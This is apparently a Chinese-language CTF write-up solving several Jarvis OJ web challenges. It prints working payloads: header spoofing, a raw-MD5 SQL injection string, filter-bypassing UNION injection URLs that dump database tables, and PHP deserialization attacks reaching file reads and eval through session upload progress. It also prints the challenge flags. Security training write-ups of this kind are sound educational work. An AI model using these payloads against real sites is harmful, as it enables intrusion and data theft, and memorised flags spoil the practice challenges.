Jarvis OJ 平台
Jan 15, 2018 09:54 · 357 words · 2 minute read
考试终于结束了,离散做的爆炸。做点题缓一缓。
PORT51
使用curl命令指定端口访问
curl --local-port 51 http://web.jarvisoj.com:32770/
flag:PCTF{M45t3r_oF_CuRl}
Localhost
提示:localhost access only!! 只有本地用户才可以访问
伪造IP,为127.0.0.1
X-Forwarded-For: 127.0.0.1
PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
login
打开链接是一个输入密码的form表单,抓包后发现hint如下
Hint: "select * from `admin` where password='".md5($pass,true)."'"
看到在where语句后拼接了一个md5($pass,true),第一次看到MD5函数的第二个参数,查看手册的解释如下
MD5(string md5 ( string $str [, bool $raw_output = false ] ))
str
原始字符串。
raw_output
如果可选的 raw_output 被设置为 TRUE ,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
百度直接搜索md5($pass,true),看到说简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以注入了。
提供了字符串
ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
转成字符串后: ‘or’6
拿去提交得到flag
PCTF{R4w_md5_is_d4ng3rous}
神盾局的秘密
打开链接是一个图片,右键查看源代码,看到
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
然后去访问这个链接,出来的是一堆乱码。这是直接把jpg文件内容输出出来,猜测这里可以读文件,而且文件名是经过base64加密。 尝试读取showimg.php文件
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
打开一片空白,右键查看源码,就看到了showimg.php的源码
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
可以看到使用了readfile函数,而且限制了一个字符串pctf。 同样的操作读取index.php,得到源码
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
这里又发现了一个shield.php,先读取下来。
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
这里告诉了我们flag在pctf.php文件里,目标就是得到pctf.php的文件内容了。 接下来看shield.php的代码。可以看到这个定义的类里有一个construct方法,这个方法可是触发反序列化漏洞。再去看index.php里,刚好就有一句\$x = unserialize($g);。之前做过一个关于string方法的反序列化漏洞的题。利用手法是一样的。 构造参数的方法如下
<?php
class Shield{
public $file;
}
$a = new Shield();
$a->file = "pctf.php";
$a = serialize($a);
echo $a;
//输出O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
?>
最终的payload
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
IN A Mess
右键发现index.phps,访问得到源码。 关键代码
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
file_get_contents函数可以使用这样的写法file_get_contents(php://input) 来绕过 最终构造的参数
?id=ldkas&a=php://input&b=%00111111
post数据:1112 is a nice lab!
得到了一个路径^HT2mCpcvOLf 访问知道是一个注入。 测试后得出的payload
爆表
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(table_name)/*1*/frfromom/*1*/information_schema.tables/*1*/where/*1*/table_schema/*1*/=/*1*/database()#
爆列
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(column_name)/*1*/frfromom/*1*/information_schema.COLUMNS/*1*/where/*1*/table_schema=database()#
爆内容
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,context/*1*/frfromom/*1*/content#
在爆列名的时候不能使用where table_name=‘content’,很奇怪,所以就使用database()来查。
PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
phpinfo(18-3-19)
源码
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
根据源码可以查看phpinfo,查看phpinfo后可以得到网站的根目录为/opt/lampp/htdocs。(大佬教育我phpinfo很重要,所以真的)
还可以看到网站设置的默认的session存储方式为php_serialize。
| Directive | Local Value | Master Value |
session.serialize_handler php php_serialize
再根据源代码的第一行ini_set(‘session.serialize_handler’, ‘php’);将session的存储方式修改为php。 这样的设置就会导致session存储差异引起的反序列化漏洞。 session反序列详解 但是代码里并没有可以控制的session变量,这里有一个小知识,就是利用php在上传文件的时候会将文件名存储到session的变量中。这个功能的实现的条件是将session.upload_progress.enabled设置为on。查看phpinfo的设置选项确实是on。 于是自己构造一个文件上传的页面,上传到http://web.jarvisoj.com:32784/。
文件上传代码
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="sdas" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
构造序列化代码
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
$a->mdzz='print_r(scandir("/opt/lampp/htdocs"));';
#$a->mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
echo serialize($a);
这里用到一个scandir函数,这个函数是将目录下的文件名都打印出来。
结果
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
抓取文件上传的数据包将filename修改为序列化后的结果即可。 flag
CTF{4d96e37f4be998c50aa586de4ada354a}